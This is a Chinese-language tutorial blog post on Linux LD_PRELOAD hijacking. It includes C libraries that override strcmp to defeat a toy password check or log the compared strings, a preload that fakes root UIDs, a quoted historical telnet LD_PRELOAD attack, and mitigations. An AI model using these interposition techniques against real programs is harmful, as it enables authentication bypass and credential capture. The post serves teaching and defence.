用LD_PRELOAD劫持的原理和实践

Last Updated: 2023-07-13 01:56:09 Thursday

-- TOC --

动态链接的程序,在程序启动时,首先运行的是动态链接器(runtime dynamic linker),检查程序所需要的动态库文件并加载到进程的虚拟地址空间,然后才将控制权交给程序入口。

LD_PRELOAD这个环境变量,影响的就是动态链接的顺序。被LD_PRELOAD指定的动态库会被优先加载,因此,这个机制可以被用来劫持程序。

通过这个环境变量,我们可以在主程序和其依赖的动态链接库的中间,加载别的动态链接库,或者覆盖正常的函数库接口。一方面,我们可以用此功能来动态地改变程序所使用的函数接口(无需程序源码),而另一方面,我们也可以以向程序注入恶意代码,从而达到某些那不可告人的目的。

原理

动态加载时,Linux系统有一个细节,当出现相同符号的时候,后面出现的符号将会被忽略!因此,这个环境变量是preload!

劫持strcmp

先写一段代码:

$ cat t_strcmp.c
#include <stdio.h>
#include <string.h>

int main(void) {
    char passwd[] = "abcd1234";

    if (!strcmp(passwd, "1234abcd")) {
        printf("Correct Password!\n");
        return 0;
    }

    printf("Invalid Password!\n");
    return 1;
}
$ gcc t_strcmp.c -o t_strcmp
$ ./t_strcmp
Invalid Password!

这段测试代码,正常情况下会提示不正确的密码。默认情况下,gcc编译采用动态链接,strcmp这个标准C库接口来自libc.so.6。

下面是hack代码:

$ cat t_hack.c
#include <stdio.h>
#include <string.h>


int strcmp(const char *s1, const char *s2) {
    printf("in hack strcmp: s1=<%s>,s2=<%s>\n", s1, s2);
    return 0;  // always return success!!
}
$ gcc -fPIC -shared t_hack.c -o t_hack.so
$ LD_PRELOAD=./t_hack.so ./t_strcmp
in hack strcmp: s1=<abcd1234>,s2=<1234abcd>
Correct Password!

看~~!!比较密码就成功了......并且还将作比较的两个字符串都打印了出来!

在调用路径上插入代码

还有一种劫持,只是在调用路径上插入一些代码

$ cat t_hack2.c
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>


int (*real_strcmp)(const char *s1, const char *s2);


int strcmp(const char *s1, const char *s2) {
    char *err;

    real_strcmp = dlsym(RTLD_NEXT, "strcmp");
    if ((err=dlerror()) != NULL) {
        printf("dlsym strcmp: %s\n", err);
        return 1;
    }

    printf("in hack strcmp: s1=<%s>,s2=<%s>\n", s1, s2);
    return real_strcmp(s1, s2);
}

编译:

$ man dlsym
$ gcc -fPIC -shared t_hack2.c -o t_hack2.so -ldl -D_GNU_SOURCE
$ ldd t_hack2.so
    linux-vdso.so.1 (0x00007fffa43a3000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f44ae004000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f44ade12000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f44ae024000)

-ldl不能放在前面,否则不会链接这个libdl.so.2库。嗨.....

RTLD_NEXT,在当前搜索顺序中找,在当前的目标之后,找符号下一次出现的地方。 这就允许向在另一个共享目标中的函数提供一层封装。这样一来,在一个预先加载的共享目标中定义的函数中,就可以找到并调用在另一个共享目标中的真函数(其实就是一种劫持)或者有多层的预加载的时候的下一层!

这段劫持代码,目的就是将代码中调用strcmp的参数打印出来,然后还是调用真正的strcmp接口。运行效果:

$ LD_PRELOAD=./t_hack2.so ./t_strcmp
in hack strcmp: s1=<abcd1234>,s2=<1234abcd>
Invalid Password!

程序还是正常执行,但是不知不觉就把密码暴露出来了....

一个著名系统攻击

$ cat preload.c
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>


uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }

重载几个系统调用接口,可以让你感觉自己好像是root:

$ gcc -fPIC -shared preload.c -o preload.so
$ whoami
xinlin
$ LD_PRELOAD=./preload.so whoami
root

据说曾经的那个著名的攻击是这样的:

$ telnet
telnet> env def LD_PRELOAD /home/hchen/test/preload.so
telnet> open localhost
#

当然,这个安全BUG早已被Fix了(虽然,通过id或是whoami或是/bin/sh让你觉得你像是root,但其实你并没有root的权限),当今的Unix系统中不会出现这个的问题。但这并不代表,我们自己写的程序,或是第三方的程序能够避免这个问题,尤其是那些以Root方式运行的第三方程序。

如何避免

看到两个避免LD_PRELOAD带来隐患的思路:

  1. 静态链接;
  2. 可执行文件设置suid权限;(在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量)

LD_PRELOAD的正面效果

这些机制本身并不恶,就看怎么用。

看到一个小项目,通过LD_PRELOAD机制,重载了socket的bind和connect函数,以非侵入式的方式(不修改源代码),给socket设置上了SO_REUSEADDRSO_REUSEPORT参数:https://github.com/yongboy/bindp

本文链接:https://cs.pynote.net/se/202203301/

-- EOF --

-- MORE --